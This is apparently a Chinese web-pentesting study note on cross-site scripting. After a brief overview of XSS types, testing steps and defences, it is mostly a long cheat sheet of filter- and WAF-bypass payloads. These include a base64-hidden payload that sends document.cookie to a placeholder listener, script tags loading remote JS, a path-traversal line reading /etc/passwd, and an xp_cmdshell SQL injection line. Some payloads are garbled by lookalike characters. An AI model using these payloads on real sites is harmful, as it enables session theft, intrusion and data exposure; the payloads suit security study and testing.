avatar

web渗透学习笔记[三]--xss

web漏洞xss漏洞

xss全称 Cross Site Scripting 跨站脚本攻击

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

程序对输入和输出的控制不够严格,导致构造的代码输入后,可以执行从而产生危害

xss类型

  1. 反射型

攻击者事先制作好链接,诱骗用户点击触发,容易出现在搜索页面

  1. 存储型 (危害最大,可持久)

存储型xss注入的脚本永久的存储在目标服务器上(如数据库,消息,评论,访问者日志,注释),受害者在请求存储的信息的时候从服务器执行了恶意的脚本。

  1. dom型

不经过服务器

xss漏洞测试流程

  1. 找输入点,如查询,留言
  2. 输入特殊字符之后查看返回的源码,是否对返回的数据进行了处理
  3. 提交构造的脚本代码(绕过),查看是否可以执行

xss防御

对输入(和URL参数)进行过滤,对输出进行编码

对输入和URL参数进行过滤(白名单和黑名单)

将容易导致XSS攻击的边角字符替换成全角字符

对输出进行编码

XSS过滤绕过

最基本的测试

1
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

查看过滤了哪些字符

1
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

img标签xss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<IMG SRC="javascript:alert('XSS');">
不带引号
<IMG SRC=javascript:alert('XSS')>
区分大小写
<IMG SRC=JaVaScRiPt:alert('XSS')>
html实体
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
重音符混淆
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
畸形的img标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
默认为空的src
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')"> 这种情况有些浏览器会自动添加上双引号
<IMG onmouseover="alert('xxs')">
通过error触发
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
将onerror的内容编码
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
十进制html字符实体转换
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
去除分号
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
十六进制html字符实体转换,不带分号
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
添加个tab
<IMG SRC="jav ascript:alert('XSS');">
tab编码
<IMG SRC="jav&#x09;ascript:alert('XSS');">
换行
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
回车
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG SRC=" &#14; javascript:alert('XSS');">

a标签xss

1
2
3
4
    畸形的a标签
\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>
在chrome中会自动补全双引号
\<a onmouseover=alert(document.cookie)\>xxs link\</a\>

fromCharCode函数

当引号被过滤的时候

1
2
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<sctipt>alert(String.fromCharCode(88,83,83))</sctipt>

利用非字母非字符数字

1
2
3
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>

额外的尖括号

1
<<SCRIPT>alert("XSS");//\<</SCRIPT>

未闭合script

1
<SCRIPT SRC=http://xss.rocks/xss.js?< B >

script标签中的协议解析

1
<SCRIPT SRC=//xss.rocks/.j>  IE和Netscape的IE渲染模式下有效

半打开的HTML/JavaScript XSS向量

1
2
<IMG SRC="`<javascript:alert>`('XSS')"
<IMG SRC="javascript:alert('XSS')"

多个左尖括号

1
<iframe src=http://xss.rocks/scriptlet.html <

JavaScript双重转义

1
2
3
<SCRIPT>var a="$ENV{QUERY\_STRING}";</SCRIPT><SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT>
\";alert('XSS');//
</script><script>alert('XSS');</script>

闭合title

1
</TITLE><SCRIPT>alert("XSS");</SCRIPT>

INPUT IMAGE

1
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

BODY IMAGE

1
<BODY BACKGROUND="javascript:alert('XSS')">

IMG DYNSRC

1
<IMG DYNSRC="javascript:alert('XSS')">

IMG LOWSRC

1
<IMG LOWSRC="javascript:alert('XSS')">

List-style-image

1
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

图像中的 VBscript

1
<IMG SRC='vbscript:msgbox("XSS")'>

Livescript (仅限旧版本Netscape)

1
<IMG SRC="livescript:[code]">

SVG

1
<svg/onload=alert('XSS')>

ECMAScript 6

1
Set.constructor`alert\x28document.domain\x29
1
2
3
4
5

#### body

```html
<BODY ONLOAD=alert('XSS')>

事件处理函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
1.    FSCommand() (攻击者当需要在嵌入的Flash对象中执行时可以使用此事件)
2. onAbort() (当用户中止加载图片时)
3. onActivate() (当对象激活时)
4. onAfterPrint() (用户打印或进行打印预览后触发)
5. onAfterUpdate() (从数据源对象更新数据后由数据对象触发)
6. onBeforeActivate() (在对象设置为激活元素前触发)
7. onBeforeCopy() (攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过执行execCommand("Copy")函数触发)
8. onBeforeCut() (攻击者在选中部分剪切到剪贴板前执行攻击代码)
9. onBeforeDeactivate() (在当前对象的激活元素变化前触发)
10. onBeforeEditFocus() (在一个包含可编辑元素的对象进入激活状态时或一个可编辑的对象被选中时触发)
11. onBeforePaste() (在用户被诱导进行粘贴前或使用execCommand("Paste")函数触发)
12. onBeforePrint() (用户需要被诱导进行打印或攻击者可以使用print()或execCommand("Print")函数).
13. onBeforeUnload() (用户需要被诱导关闭浏览器-除非从父窗口执行,否则攻击者不能关闭当前窗口)
14. onBeforeUpdate() (从数据源对象更新数据前由数据对象触发)
15. onBegin() (当元素周期开始时由onbegin 事件立即触发)
16. onBlur() (另一个窗口弹出当前窗口失去焦点时触发)
17. onBounce() (当marquee对象的behavior属性设置为“alternate”且字幕的滚动内容到达窗口一边时触发)
18. onCellChange() (当数据提供者的数据变化时触发)
19. onChange() (select,text, 或TEXTAREA字段失去焦点并且值发生变化时触发)
20. onClick() (表单中点击触发)
21. onContextMenu() (用户需要在攻击区域点击右键)
22. onControlSelect() (当用户在一个对象上创建控件选中区时触发)
23. onCopy() (用户需要复制一些东西或使用execCommand("Copy")命令时触发)
24. onCut() (用户需要剪切一些东西或使用execCommand("Cut")命令时触发)
25. onDataAvailable() (用户需要修改元素中的数据,或者由攻击者提供的类似功能)
26. onDataSetChanged() (当数据源对象变更导致数据集发生变更时触发)
27. onDataSetComplete() (数据源对象中所有数据可用时触发)
28. onDblClick() (用户双击一个表单元素或链接)
29. onDeactivate() (在激活元素从当前对象转换到父文档中的另一个对象时触发)
30. onDrag() (在元素正在拖动时触发)
31. onDragEnd() (当用户完成元素的拖动时触发)
32. onDragLeave() (用户在拖动元素离开放置目标时触发)
33. onDragEnter() (用户将对象拖拽到合法拖曳目标)
34. onDragOver() (用户将对象拖拽划过合法拖曳目标)
35. onDragDrop() (用户将一个对象(例如文件)拖拽到浏览器窗口)
36. onDragStart() (当用户开始拖动元素时触发)
37. onDrop() (当拖动元素放置在目标区域时触发)
38. onEnded() (在视频/音频(audio/video)播放结束时触发)
39. onError() (在加载文档或图像时发生错误)
40. onErrorUpdate() (当从数据源对象更新相关数据遇到错误时在数据绑定对象上触发)
41. onFilterChange() (当滤镜完成状态变更时触发)
42. onFinish() (当marquee完成滚动时攻击者可以执行攻击)
43. onFocus() (当窗口获得焦点时攻击者可以执行攻击代码)
44. onFocusIn() (当元素将要被设置为焦点之前触发)
45. onFocusOut() (攻击者可以在窗口失去焦点时触发攻击代码)
46. onHashChange() (当锚部分发生变化时触发攻击代码)
47. onHelp() (攻击者可以在用户在当前窗体激活时按下F1触发攻击代码)
48. onInput() (在 <input> 或 <textarea> 元素的值发生改变时触发)
49. onKeyDown() (用户按下一个键的时候触发)
50. onKeyPress() (在键盘按键被按下并释放一个键时触发)
51. onKeyUp() (用户释放一个键时触发)
52. onLayoutComplete() (用户进行完打印或打印预览时触发)
53. onLoad() (攻击者在窗口加载后触发攻击代码)
54. onLoseCapture() (可以由releaseCapture()方法触发)
55. onMediaComplete() (当一个流媒体文件使用时,这个事件可以在文件播放前触发
56. onMediaError() (当用户在浏览器中打开一个包含媒体文件的页面,出现问题时触发事件)
57. onMessage() (当页面收到一个信息时触发事件)
58. onMouseDown() (攻击者需要让用户点击一个图片触发事件)
59. onMouseEnter() (光标移动到一个对象或区域时触发)
60. onMouseLeave() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件)
61. onMouseMove() (攻击者需要让用户将光标移到一个图片或表格)
62. onMouseOut() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件)
63. onMouseOver() (光标移动到一个对象或区域)
64. onMouseUp() (攻击者需要让用户点击一个图片)
65. onMouseWheel() (攻击者需要让用户使用他们的鼠标滚轮)
66. onMove() (用户或攻击者移动页面时触发)
67. onMoveEnd() (用户或攻击者移动页面结束时触发)
68. onMoveStart() (用户或攻击者开始移动页面时触发)
69. onOffline() (当浏览器从在线模式切换到离线模式时触发)
70. onOnline() (当浏览器从离线模式切换到在线模式时触发)
71. onOutOfSync() (当元素与当前时间线失去同步时触发)
72. onPaste() (用户进行粘贴时或攻击者可以使用execCommand("Paste")函数时触发)
73. onPause() (在视频或音频暂停时触发)
74. onPopState() (在窗口的浏览历史(history 对象)发生改变时触发)
75. onProgress() (攻击者可以在一个FLASH加载时触发事件)
76. onPropertyChange() (用户或攻击者需要改变元素属性时触发)
77. onReadyStateChange() (每次 readyState 属性变化时被自动调用)
78. onRedo() (用户返回上一页面时触发)
79. onRepeat() (事件在播放完重复播放时触发)
80. onReset() (用户或攻击者重置表单时触发)
81. onResize() (用户改变窗口大小时,攻击者可以自动以这种方法触发:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
82. onResizeEnd() (用户完成改变窗体大小时触发)
83. onResizeStart() (用户开始改变窗体大小时触发)
84. onResume() (当元素继续播放时触发)
85. onReverse() (当元素回放时触发)
86. onRowsEnter() (用户或攻击者需要改变数据源中的一行)
87. onRowExit() (用户或攻击者改变数据源中的一行后退出时触发)
88. onRowDelete() (用户或攻击者需要删除数据源中的一行)
89. onRowInserted() (user or attacker would needto insert a row in a data source)
90. onScroll() (用户需要滚动或攻击者使用scrollBy()函数)
91. onSeek() (当用户在元素上执行查找操作时触发)
92. onSelect() (用户需要选择一些文本-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)
93. onSelectionChange() (当用户选择文本变化时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)
94. onSelectStart() (当用户开始选择文本时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)
95. onStart() (在marquee 对象开始循环时触发)
96. onStop() (当用户按下停止按钮或离开页面时触发)
97. onStorage() (当Web Storage更新时触发)
98. onSyncRestored() (当元素与它的时间线恢复同步时触发)
99. onSubmit() (需要用户或攻击者提交表单)
100.onTimeError() (用户或攻击者设置时间属性出现错误时触发)
101.onTrackChange() (用户或攻击者改变播放列表内歌曲时触发)
102.onUndo() (用户返回上一浏览记录页面时触发)
103.onUnload() (用户点击任意链接或按下后退按钮或攻击者强制进行点击时触发)
104.onURLFlip() (当一个高级流媒体格式(ASF)文件,由一个HTML+TIME(基于时间交互的多媒体扩展)媒体标签播放时,可触发在ASF文件中内嵌的攻击脚本)
105.seekSegmentTime() (这是一个方法可以定位元素某个时间段内中的特定的点,并可以从该点播放。这个段落包含了一个重复的时间线,并包括使用AUTOREVERSE属性进行反向播放。)

BGSOUND

1
<BGSOUND SRC="javascript:alert('XSS');">

& JavaScript包含

1
<BR SIZE="&{alert('XSS')}">

样式表

1
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

远程样式表

1
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
1
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
1
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
1
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>

含有分隔JavaScript的STYLE标签

1
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

STYLE属性中使用注释分隔表达式

1
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

带有表达式的 IMG

1
2
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

背景图像的STYLE标签

1
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

背景的样式标记

1
2
3
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

<STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>

含STYLE属性的HTML任意标签

1
<XSS STYLE="xss:expression(alert('XSS'))">

本地 htc 文件

1
<XSS STYLE="behavior: url(xss.htc);">

US-ASCII编码

1
¼script¾alert(¢XSS¢)¼/script¾

META

1
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

使用数据的 META

1
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

附加 URL 参数的 META

1
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

Iframe

1
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

IFRAME 事件

1
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

FRAME

1
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

table

1
<TABLE BACKGROUND="javascript:alert('XSS')">

TD

1
<TABLE><TD BACKGROUND="javascript:alert('XSS')">

DIV背景

1
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

含有Unicode XSS利用代码的DIV背景图像

1
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

DIV背景添加其他字符

1
<DIV STYLE="background-image:xssjavascript:alert('XSS'))">

DIV表达式

1
<DIV STYLE="width: expression(alert('XSS'));">

html 条件选择注释块

1
2
3
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->

base标签

1
<BASE HREF="javascript:alert('XSS');//">

OBJECT标签

1
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>

使用 EMBED 标记可以嵌入包含 XSS 的 Flash 文件

1
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
1
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>

使用EMBED SVG包含攻击向量

1
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

在FLASH中使用ActionScript混淆XSS攻击向量

1
2
3
4
5
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);

CDATA混淆的XML数据

1
2
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> 
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

使用XML数据岛生成含内嵌JavaScript的本地XML文件

1
2
<XML SRC="xsstest.xml" ID=I></XML>  
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

XML中使用HTML+TIME

1
2
3
4
5
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>

使用一些字符绕过”.js”过滤

1
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>

SSI

1
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->

PHP

1
2
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>

嵌入命令的IMAGE

1
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

修改cookie

1
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

UTF-7编码

1
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

利用HTML引号包含的XSS

1
2
3
4
5
6
7
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>

URL字符绕过

IP替换域名
1
<A HREF="http://66.102.7.147/">XSS</A>
url编码
1
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
Dword 编码
1
<A HREF="http://1113982867/">XSS</A>
十六进制
1
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
八进制
1
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
Base64
1
<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">
混合编码
1
2
<A HREF="h 
tt p://6 6.000146.0x7.147/">XSS</A>
协议解析绕过
1
<A HREF="//www.google.com/">XSS</A>

字符转义表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<
%3C
&lt
<
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C

绕过waf的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over​
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript&colon;alert(1)>CLICKME
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
alert
1
2
3
4
5
6
7
8
9
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)

常见payload

&#后十进制

&#x十六进制数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
1'"()&%<acx><ScRiPt >prompt(915149)</ScRiPt>
<svg/οnlοad=alert(1)>
<script>alert(document.cookie)</script>
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
a.jsp/<script>alert('Vulnerable')</script>
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
<IMG src="javascript:alert('XSS');">
<IMG src=javascript:alert('XSS')>
<IMG src=JaVaScRiPt:alert('XSS')>
<IMG src=JaVaScRiPt:alert("XSS")>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
"<IMG src=java\0script:alert(\"XSS\")>";' > out
<IMG src=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');">
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[code]">
<IMG src="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE href="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML src="javascript:alert('XSS');">
"> <BODY><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG src="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo
'=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>
<IMG SRC=javascript:alert(‘XSS’)>
<IMG SRC=# οnmοuseοver=”alert(‘xxs’)”>
<IMG SRC=/ οnerrοr=”alert(String.fromCharCode(88,83,83))”></img>
<img src=x οnerrοr=”&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041″>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC=”jav ascript:alert(‘XSS’);”>
